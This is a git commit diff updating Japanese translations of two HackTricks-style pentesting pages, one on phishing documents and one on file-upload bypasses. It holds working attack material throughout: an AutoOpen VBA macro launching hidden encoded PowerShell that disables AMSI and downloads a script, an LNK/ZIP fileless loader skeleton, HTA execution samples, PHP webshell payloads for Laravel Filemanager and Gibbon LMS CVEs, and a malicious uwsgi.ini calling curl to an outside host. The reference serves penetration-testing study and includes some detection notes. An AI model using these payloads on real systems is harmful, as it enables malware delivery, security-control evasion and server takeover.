Translated ['', 'src/windows-hardening/ntlm/places-to-steal-ntlm-creds.m

This commit is contained in:
Translator 2025-09-30 04:38:26 +00:00
parent a7cb9f3dad
commit 927b46d463
4 changed files with 239 additions and 151 deletions

View File

@ -1,40 +1,40 @@
# フィッシング ファイル & ドキュメント
# Phishing ファイルとドキュメント
{{#include ../../banners/hacktricks-training.md}}
## Office ドキュメント
Microsoft Word はファイルを開く前にファイルのデータ検証を行います。データ検証は、OfficeOpenXML 標準に従ったデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、解析のファイルは開かれません。
Microsoft Word はファイルを開く前にファイルのデータ検証を行います。データ検証は OfficeOpenXML 標準に対するデータ構造の識別の形で行われます。データ構造の識別中にエラーが発生した場合、解析対象のファイルは開かれません。
通常、マクロを含む Word ファイルは `.docm` 拡張子を使用します。しかし、ファイル拡張子を変更してファイル名を変ても、マクロ実行機能を維持することが可能です。\
例えば、RTF ファイルは設計上マクロをサポートしませんが、DOCM ファイルを RTF にリネームすると Microsoft Word によって扱われ、マクロを実行可能になります。\
同じ内部構造とメカニズムは Microsoft Office Suite (Excel, PowerPoint など) のすべてのソフトウェアに適用されます。
通常、マクロを含む Word ファイルは `.docm` 拡張子を使用します。しかし、ファイル拡張子を変更してファイル名を変更しても、マクロ実行機能を維持することが可能です。\
例えば、RTF ファイルは設計上マクロをサポートしませんが、DOCM ファイルを RTF にリネームすると Microsoft Word によって処理され、マクロ実行が可能になります。\
同じ内部構造と仕組みは Microsoft Office SuiteExcel, PowerPoint 等)の全ソフトウェアに適用されます。
以下のコマンドを使って、いくつかの Office プログラムで実行される拡張子を確認できます:
以下のコマンドを使用して、いくつかの Office プログラムで実行される拡張子を確認できます:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### External Image Load
### 外部画像の読み込み
Go to: _Insert --> Quick Parts --> Field_\
_**Categories**: リンクと参照、**フィールド名**: includePicture、**ファイル名またはURL**:_ http://<ip>/whatever
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros Backdoor
### マクロによるバックドア
マクロを使ってドキュメントから任意のコードを実行することが可能です。
マクロを利用して、ドキュメントから任意コードを実行することが可能です。
#### Autoload functions
#### オートロード関数
一般的であるほど、AVによって検出される確率が高くなります。
一般的であればあるほど、AVが検知する可能性が高くなります。
- AutoOpen()
- Document_Open()
#### Macros Code Examples
#### マクロのコード例
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -66,12 +66,12 @@ proc.Create "powershell <beacon line generated>
```
#### 手動でメタデータを削除する
「**File > Info > Inspect Document > Inspect Document**」に移動すると、Document Inspector が表示されます。**Inspect** をクリックし、続いて **Document Properties and Personal Information** の横にある **Remove All** をクリックしてください
ファイルメニューから **File > Info > Inspect Document > Inspect Document** を開くと、Document Inspector が表示されます。**Inspect** をクリックし、次に **Document Properties and Personal Information** の横にある **Remove All** をクリックします
#### Doc Extension
#### Doc 拡張子
完了したら、**Save as type** ドロップダウンを選択し、フォーマット**`.docx`** から **Word 97-2003 `.doc`** に変更します。\
これは **`.docx`** の中に macro を保存できないことと、macro 有効化の **`.docm`** 拡張子にはスティグマ(例:サムネイルアイコンに大きな `!` が付くため、一部の web/email ゲートウェイが完全にブロックする)があります。したがって、この **レガシーな `.doc` 拡張子が最良の妥協点** です。
終了したら、**Save as type** ドロップダウンを選択し、形式**`.docx`** から **Word 97-2003 `.doc`** に変更します。\
これは、**`.docx` 内にマクロを保存できない**ためと、マクロ有効な **`.docm`** 拡張子に対する **偏見**(例:サムネイルアイコンに大きな `!` が表示され、一部の web/email gateway がそれらを完全にブロックする) があるためです。したがって、この **レガシーな `.doc` 拡張子が最良の妥協案** です。
#### Malicious Macros Generators
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
## HTA Files
HTA は HTML とスクリプト言語VBScript や JScript など)を組み合わせた Windows プログラムです。ユーザーインターフェイスを生成し、ブラウザのセキュリティモデルの制約を受けない「fully trusted」アプリケーションとして実行されます。
An HTA は、HTML とスクリプト言語VBScript や JScript など)を組み合わせた Windows プログラムです。ユーザーインターフェイスを生成し、ブラウザのセキュリティモデルの制約を受けない「fully trusted」アプリケーションとして実行されます。
HTA は **`mshta.exe`** を使って実行されます。通常これは **Internet Explorer** とともに **installed** されるため、**`mshta` は IE に依存**します。したがって、IE がアンインストールされている場合、HTA は実行できなくなります。
An HTA は **`mshta.exe`** を使用して実行され、通常は **Internet Explorer** とともに **インストール** されるため、**`mshta` は IE に依存** します。したがって、IE がアンインストールされている、HTA は実行できなくなります。
```html
<--! Basic HTA Execution -->
<html>
@ -138,11 +138,11 @@ var_func
self.close
</script>
```
## NTLM 認証の強制
## NTLM 認証を "リモートで" 強制する
NTLM 認証を**「リモートで」強制する**方法はいくつかあります。たとえば、ユーザがアクセスするメールや HTML に**不可視の画像**を追加するHTTP MitM? でも)。また、被害者に**ファイルのアドレス**を送り、フォルダを**開くだけで****認証を****トリガー**するようなものを送ることもできます。
**NTLM 認証を "リモートで" 強制する**方法はいくつかあります。たとえば、ユーザがアクセスするメールや HTML に **不可視画像** を追加するHTTP MitM?)ことや、フォルダを開くだけで **認証****誘発する**ような **ファイルのアドレス** を被害者に送ることが考えられます。
**以下のページでこれらのアイデアやその他を確認してください:**
**これらのアイデアやその他の詳細は以下のページを参照してください:**
{{#ref}}
@ -156,24 +156,24 @@ NTLM 認証を**「リモートで」強制する**方法はいくつかあり
### NTLM Relay
ハッシュや認証を盗むだけでなく、**NTLM relay attacks**も実行できることを忘れないでください
ハッシュや認証を盗むだけでなく、**NTLM Relay attacks** を実行することもできます
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
非常に効果的なキャンペーンは、2つの正当なデコイドキュメントPDF/DOCXと悪意のある .lnk を含む ZIP を配布します。トリックは、実際の PowerShell ローダーが一意のマーカーの後に ZIP の生バイト内に格納されており、.lnk がそれを切り出してメモリ上で完全に実行する点にあります。
非常に効果的なキャンペーンでは、2つの正規のデコイ文書PDF/DOCXと悪意のある .lnk を含む ZIP を配布します。トリックは、実際の PowerShell ローダーが ZIP の生バイト内の固有のマーカーの後に格納されており、.lnk がそれをメモリ上で切り出して実行する点です。
Typical flow implemented by the .lnk PowerShell one-liner:
.lnk の PowerShell ワンライナーで実装される典型的なフロー:
1) Desktop、Downloads、Documents、%TEMP%、%ProgramData%、およびカレントワーキングディレクトリの親などの一般的なパスで元の ZIP を検索する
2) ZIP のバイトを読み取り、ハードコードされたマーカー(例: xFIQCVを探す。マーカー以降のすべてが埋め込まれた PowerShell ペイロードである。
3) ZIP を %ProgramData% にコピーし、そこで展開し、正当らしく見せるためにデコイの .docx を開く
1) Desktop、Downloads、Documents、%TEMP%、%ProgramData%、およびカレントワーキングディレクトリの親などの一般的なパスで元の ZIP を探す
2) ZIP のバイトを読み、ハードコードされたマーカー(例: xFIQCVを探す。マーカー以降のすべてが埋め込まれた PowerShell ペイロードである。
3) ZIP を %ProgramData% にコピーしてそこで展開し、デコイの .docx を開いて正規のように見せる
4) 現在のプロセスで AMSI をバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) 次のステージの難読化を解除(例: 全ての # 文字を削除)してメモリ上で実行する。
5) 次のステージをデオブフスク(例: すべての # 文字を削除)して、メモリ上で実行する。
Example PowerShell skeleton to carve and run the embedded stage:
埋め込まれたステージを切り出して実行する PowerShell スケルトンの例:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
@ -190,26 +190,26 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
- 配信はしばしば信頼された PaaS サブドメイン(例: *.herokuapp.comを悪用し、ペイロードを制限して IP/UA に基づき無害な ZIP を返すことがある。
- 次段階では base64/XOR の shellcode を復号し、ディスク痕跡を最小化するために Reflection.Emit + VirtualAlloc 経由で実行することが多い。
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- 次段階では、base64/XORで暗号化されたshellcodeを復号し、Reflection.Emit + VirtualAlloc経由で実行してディスク痕跡を最小化することが多い。
Persistence used in the same chain
- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込んだ任意のアプリが payload を自動的に再実行するようにする。詳細とすぐに使えるコマンドは以下を参照:
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- アーカイブデータ末尾に ASCII マーカー文字列(例: xFIQCVが付加された ZIP ファイル。
- ZIP を探すために親/ユーザフォルダを列挙し、デコイ文書を開く .lnk
- [System.Management.Automation.AmsiUtils]::amsiInitFailed を使った AMSI 改ざん
- 信頼された PaaS ドメインでホストされたリンクで終わる長時間実行されるビジネススレッド
- アーカイブデータの末尾にASCIIマーカー文字列例: xFIQCVが追加されたZIPファイル。
- .lnk が親/ユーザーフォルダを列挙してZIPを探し、デコイドキュメントを開く
- AMSIの改ざん[System.Management.Automation.AmsiUtils]::amsiInitFailed を使用)
- 長時間稼働するビジネススレッドが、信頼されたPaaSドメインでホストされたリンクで終わる。
## NTLM ハッシュを窃取するための Windows ファイル
## Windows files to steal NTLM hashes
次のページを確認: **places to steal NTLM creds**:
以下のページを確認してください: **places to steal NTLM creds**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## ファイルアップロード 一般的な方法論
## ファイルアップロード一般的手法
Other useful extensions:
その他の有用な拡張子:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -17,11 +17,11 @@ Other useful extensions:
### ファイル拡張子チェックのバイパス
1. 該当する場合は、前述の拡張子を**チェック**してください。また**大文字**を使ってテストしてください: _pHp, .pHP5, .PhAr ..._
2. _実行拡張子の前に**有効な拡張子を追加する**ことをチェックしてください(前述の拡張子も使用):_
1. 可能なら、前述の**拡張子**を**チェック**してください。また、大文字を使ってテストすることも有効です: _pHp, .pHP5, .PhAr ..._
2. _実行可能拡張子の前に有効な拡張子を**追加する**ことを確認してください(前述の拡張子も使用):_
- _file.png.php_
- _file.png.Php5_
3. 末尾に**特殊文字を追加**してみてください。Burpを使ってすべての**ascii**や**Unicode**文字を**bruteforce**することができます。_注意: **前述の**拡張子を使うことも試せます_
3. 末尾に**特殊文字を追加**してみてください。Burp を使って全ての **ascii****Unicode** 文字を **bruteforce** することができます。(_前述の**拡張子**を使って試すこともできます_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. サーバーサイドの拡張子パーサーを**騙すtricking the extension parser**ことで保護をバイパスしてみてください。例えば**拡張子を二重にするdoubling**や拡張子の間に**ジャンク**データ(**null**バイトを入れるなどのテクニックです。_より良いペイロードを作るために前述の拡張子を使うこともできます。_
4. サーバー側の拡張子パーサーを**騙す**ことで保護を回避する(拡張子を二重にする、拡張子の間に**null**バイトなどのゴミデータを入れるなど。_より良いペイロードを作るために、前述の拡張子も利用できます。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 前述のチェックに**さらに別の拡張子レイヤー**を追加してみてください:
5. 前述のチェックに**さらに拡張子の層を追加**する:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 実行用拡張子を有効な拡張子の前に置いて、サーバーが誤設定されていることを祈ってください。useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code):
6. **実行拡張子を有効な拡張子の前に置く**ことを試して、サーバーが誤設定されていることに賭ける。Apache の誤設定を突くのに有効。拡張子が**.php**を含む任意のファイルが実行されるが、必ずしも .php で終わる必要はない場合など)
- _ex: file.php.png_
7. **NTFS alternate data stream (ADS)** を **Windows** で利用する方法。禁じられた拡張子の後、許可された拡張子の前にコロン文字 ":" が挿入されます。その結果、サーバー上に**禁じられた拡張子の空ファイル**が作成されます(例: "file.asax:.jpg”。このファイルはその後、short filename を使うなど別の手法で編集される可能性があります。"**::$data**” パターンを使って非空のファイルを作ることもできます。したがって、このパターンの後にドットを追加することも追加制限のバイパスに有効な場合があります(例: "file.asp::$data.”
8. ファイル名の上限を超えるようにしてみてください。有効な拡張子が切り捨てられ、悪意あるPHPが残る可能性があります。AAA<--SNIP-->AAA.php
7. **Windows の NTFS alternate data stream (ADS)** を使用する。禁止された拡張子の後、許可された拡張子の前にコロン ":" を挿入します。その結果、サーバー上に**禁止拡張子の空ファイル**が作成されることがあります(例: "file.asax:.jpg")。このファイルは後で短いファイル名を使うなどの別の手法で編集できる可能性があります。 "**::$data**" パターンを使うと非空ファイルを作成することもできます。したがって、このパターンの後にドットを追加することは、さらなる制限を回避するのに有用な場合があります(例: "file.asp::$data."
8. ファイル名長の制限を破ろうとする。正規の拡張子が切り捨てられ、悪意ある PHP が残る。AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
一部のupload handlerは保存時にファイル名の末尾ドットをトリムまたは正規化します。UniSharp の Laravel Filemanager (unisharp/laravel-filemanager) の 2.9.1 未満のバージョンでは、次のようにして拡張子検証をバイパスできます:
一部の upload handler は保存されるファイル名から末尾のドット文字をトリムまたは正規化します。UniSharp の Laravel Filemanager (unisharp/laravel-filemanager) の 2.9.1 より前のバージョンでは、次の手順で拡張子検証をバイパスできます:
- 有効な画像 MIME と magic header を使用する(例: PNG の `\x89PNG\r\n\x1a\n`
- アップロードするファイル名を PHP 拡張子の後にドットを付けて命名する(例: `shell.php.`
- サーバーが末尾のドットを削除して `shell.php` として保存し、public に公開されるディレクトリ(デフォルトの public storage 例: `/storage/files/`)に配置されれば実行されます。
- PNG の `\x89PNG\r\n\x1a\n` のような有効な画像 MIME と magic header を使用する。
- アップロードするファイル名を `shell.php.` のように、PHP 拡張子の後にドットを付けて命名する。
- サーバーが末尾のドットを取り除いて `shell.php` を永続化し、それが web 配信ディレクトリ(デフォルトの public storage 例: /storage/files/)に置かれていれば実行されます。
Minimal PoC (Burp Repeater):
最小限の PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -80,55 +80,54 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
```
次に保存されたパスにアクセスしますLaravel + LFMで一般的
次に保存されたパスにアクセスしますLaravel + LFMで一般的:
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- unisharp/laravel-filemanager を ≥ 2.9.1 にアップグレードする。
- サーバー側で厳格な allowlists を強制し、保存されたファイル名を再検証する。
- アップロードは実行可能でない場所から配信する。
- サーバー側で厳格な allowlists を適用し、保存されたファイル名を再検証する。
- アップロードを実行可能ではない場所から配信する。
### Bypass Content-Type, Magic Number, Compression & Resizing
- **Content-Type** のチェックをバイパスするには、**Content-Type** **header****value** を次のように設定する: _image/png_ , _text/plain , application/octet-stream_
- Content-Type のチェックは、**Content-Type** ヘッダの**値**を次のように設定してバイパスできる: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** チェックは、ファイルの先頭に **bytes of a real image** を追加してバイパスできます_file_ コマンドを混乱させる)。あるいは **metadata** の中にシェルを挿入します:\
- **magic number** チェックは、ファイルの先頭に実際の画像のバイト列を追加して(`file` コマンドを混乱させる)、あるいはメタデータ内にシェルを仕込むことでバイパスできる:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` またはペイロードを直接画像に**introduce**することもできます:\
`\` またはペイロードを画像に直接埋め込むこともできる:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 画像に圧縮が適用されている場合(例えば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のような標準的な PHP ライブラリを使用している場合)、前述の手法は有効ではありません。しかし、**PLTE chunk** を使用する [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮を**survive compression**するテキストを挿入できます
- もし画像に圧縮がかけられている場合(例えば PHP-GD のような標準的な PHP ライブラリを使用している場合)、前述の手法は有効でないことがある。しかし、**PLTE chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使えば、圧縮を**生き延びる**テキストを挿入できる
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- ウェブページが例えば PHP-GD の `imagecopyresized``imagecopyresampled` を使って画像を **resizing** している場合もあります。しかし、**IDAT chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮を**survive compression**するテキストを挿入できます
- Webページが画像を**リサイズ**している場合(例えば PHP-GD の `imagecopyresized``imagecopyresampled` を使っている場合)、同様に対処が必要だが、**IDAT chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を用いれば圧縮を**生き延びる**テキストを挿入できる
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 画像のリサイズを生き残るペイロードを作る別の手法として、PHP-GD の `thumbnailImage` を使う方法があります。ただし、**tEXt chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮に耐えるテキストを挿入できます
- 画像のリサイズPHP-GD の `thumbnailImage` など)を生き延びるペイロードを作る別の手法として、**tEXt chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って圧縮を**生き延びる**テキストを挿入する方法がある
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
- 既にアップロードされたファイルの拡張子を変更するためにファイルを**rename**できる脆弱性を探す。
- バックドアを実行するための **Local File Inclusion** 脆弱性を探す。
- バックドアを実行するための **Local File Inclusion** 脆弱性を探す。
- **Possible Information disclosure**:
1. 同じファイルを**複数回**(かつ**同時に**同じ名前でアップロードする。
2. 既に存在する**ファイル**や**フォルダ**の**名前**でファイルをアップロードする。
3. 名前を `"."`, `".."`, または `"…"` にしたファイルをアップロードする。例えば、Apache on **Windows** でアプリケーションがアップロードを "/www/uploads/" ディレクトリに保存する場合、"." というファイル名は "/www/" ディレクトリに uploads” というファイルを作成します
4. **NTFS** 上で **"…:.jpg"** のように簡単に削除できないファイルをアップロードする。Windows
5. **Windows** で名前に `|<>*?”` のような **invalid characters** を含むファイルをアップロードする。Windows
6. **Windows** で CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 といった予約(禁止)名を使ってファイルをアップロードする。
- 被害者が誤って開いたときにコードを実行する **.exe** や(より疑わしくない)**.html** のアップロードも試す
1. 同じ名前の同一ファイルを**複数回**(かつ**同時に**)アップロードする。
2. 既に存在するファイルやフォルダと同じ**名前**のファイルをアップロードする。
3. ファイル名を **"." , "..", or "…"** にしてアップロードする。例えば、Windows 上の Apache でアプリがアップロードファイルを "/www/uploads/" ディレクトリに保存する場合、"." というファイル名は "/www/" ディレクトリに uploads” というファイルを作成してしまうことがある
4. **NTFS** 上で **"…:.jpg"** のように削除しにくいファイルをアップロードする。Windows
5. Windows でファイル名に `|<>*?”` のような **無効な文字** を含むファイルをアップロードする。Windows
6. Windows で CON, PRN, AUX, NUL, COM1 COM9, LPT1 LPT9 のような **予約(禁止)名** を使ってファイルをアップロードする。
- 被害者が誤って開いたときにコードを実行するような、.exe のような**実行ファイル**や、比較的怪しまれない **.html** をアップロードしてみる
### Special extension tricks
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` ファイルは Java の `.jar` のようなもので、php 用であり、php として実行したりスクリプト内で include したりして **used like a php file** ことができます。
`.inc` 拡張子は、ファイルを **import** するためだけに使われる php ファイルに使われることがあり、結果としてこの拡張子が実行可能になることがあり得ます。
`.phar` ファイルは Java の `.jar` に似たもので、php 用のアーカイブだが、php として実行したりスクリプト内に include することで **php ファイルのように扱える**
`.inc` 拡張子はインポート用の php ファイルに使われることがあり、場合によってはこの拡張子が実行可能として許可されていることがある。
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
Jetty サーバーに XML ファイルをアップロードできると、[RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** を得られる可能性がある。したがって、次の画像にあるように XML ファイルを `$JETTY_BASE/webapps/` にアップロードするとシェルが期待できる。
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -136,9 +135,9 @@ If you can upload a XML file into a Jetty server you can obtain [RCE because **n
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更する能力がある場合に uWSGI サーバで悪用され得ます。uWSGI の設定ファイルは "magic" 変数、プレースホルダ、オペレータを組み込むための特定の構文を持ちます。特に '@' オペレータ(`@(filename)` として使われるはファイルの内容を取り込むよう設計されています。uWSGI がサポートする様々なスキームのうち、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は`.ini` 設定ファイルが処理されるときに Remote Command Execution や Arbitrary File Write/Read のような悪意ある目的に悪用され得ます
uWSGI サーバーでは、`.ini` 設定ファイルを改変できる能力があれば Remote Command Execution (RCE) 脆弱性を悪用できる可能性がある。uWSGI の設定ファイルは特定の構文で「magic」な変数、プレースホルダ、オペレータを取り扱う。特に `@(filename)` として使われる '@' オペレータはファイルの内容をインクルードするために設計されている。uWSGI がサポートする様々なスキームの中で、"exec" スキームはプロセスの標準出力からデータを読み取ることができるため特に強力であり`.ini` 設定ファイルが処理される際にこの機能を悪用すると Remote Command Execution や Arbitrary File Write/Read を引き起こす可能性がある
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
以下は、さまざまなスキームを示す悪意のある `uwsgi.ini` ファイルの例を考えてみてほしい。
```ini
[uwsgi]
; read from a symbol
@ -156,22 +155,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
ペイロードの実行は設定ファイルのパース時に発生します。設定を有効化してパースさせるには、uWSGI プロセスを再起動する必要があります(クラッシュ後や Denial of Service 攻撃による場合があり得ます)、またはファイルを auto-reload に設定する必要があります。auto-reload 機能が有効な場合、変更を検知すると指定間隔でファイルを再読み込みします。
ペイロードの実行は設定ファイルのパース時に発生します。設定を有効化してパースさせるには、uWSGI プロセスを再起動するか(クラッシュ後や Denial of Service 攻撃による場合も含む)、ファイルを auto-reload に設定する必要があります。auto-reload 機能が有効な場合、変更を検知すると指定間隔でファイルを再読み込みします。
uWSGI の設定ファイルのパースが緩い性質を理解することが重要です。具体的には、ここで扱う payload は image や PDF といった binary ファイルに挿入でき、悪用の範囲がさらに広がります。
uWSGI の設定ファイルのパースが緩い点を理解することが重要です。具体的には、ここで説明した payload はバイナリファイルimage や PDF など)の中に埋め込むことも可能で、悪用の範囲をさらに広げます。
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Gibbon LMS の認証不要のエンドポイントが web root 内への arbitrary file write を許し、PHP ファイルを配置することで pre-auth RCE に繋がります。脆弱バージョン: 25.0.01 まで(含む)。
認証前のエンドポイントが web root 内に任意のファイル書き込みを許し、PHP ファイルを配置することで pre-auth RCE に繋がります。脆弱バージョン: 25.0.01 まで(含む)。
- エンドポイント: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- メソッド: POST
- 必パラメータ:
- `img`: data-URI のような文字列: `[mime];[name],[base64]` (サーバーは type/name を無視し、末尾を base64 デコードします)
- `path`: Gibbon install dir からの相対の保存先ファイル名(例: `poc.php` または `0xdf.php`
- `gibbonPersonID`: 空でない任意の値が受け入れられます(例: `0000000001`
- 必要なパラメータ:
- `img`: data-URI のような文字列: `[mime];[name],[base64]`(サーバは type/name を無視し、末尾を base64 デコードします)
- `path`: Gibbon インストールディレクトリからの相対的な出力先ファイル名(例: `poc.php` `0xdf.php`
- `gibbonPersonID`: 空でない任意の値を受け付けます(例: `0000000001`
ファイルを書き込み・読み取るための最小 PoC:
Minimal PoC to write and read back a file:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
@ -184,7 +183,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
最小限の webshell を設置してコマンドを実行する:
最小限のwebshellを配置してコマンドを実行する:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
@ -194,16 +193,17 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
注意事項:
- ハンドラは `;``,` で分割した後に `base64_decode($_POST["img"])` を実行し、拡張子/タイプの検証を行わずにバイト列`$absolutePath . '/' . $_POST['path']` に書き込みます。
- 結果として実行されるコードは web サービスのユーザとして実行されます(例: XAMPP Apache on Windows
注意:
- ハンドラは `;``,` で分割した後に `base64_decode($_POST["img"])` を実行し、拡張子/タイプを検証せずにバイト`$absolutePath . '/' . $_POST['path']` に書き込みます。
- 結果として生成されるコードは web サービスのユーザとして実行されます(例: XAMPP Apache on Windows
このバグに関する参考情報には usd HeroLab advisory と NVD のエントリが含まれます。下の References セクションを参照してください。
このバグに関する参には usd HeroLab advisory と NVD のエントリが含まれます。下の References セクションを参照してください。
## **wget File Upload/SSRF Trick**
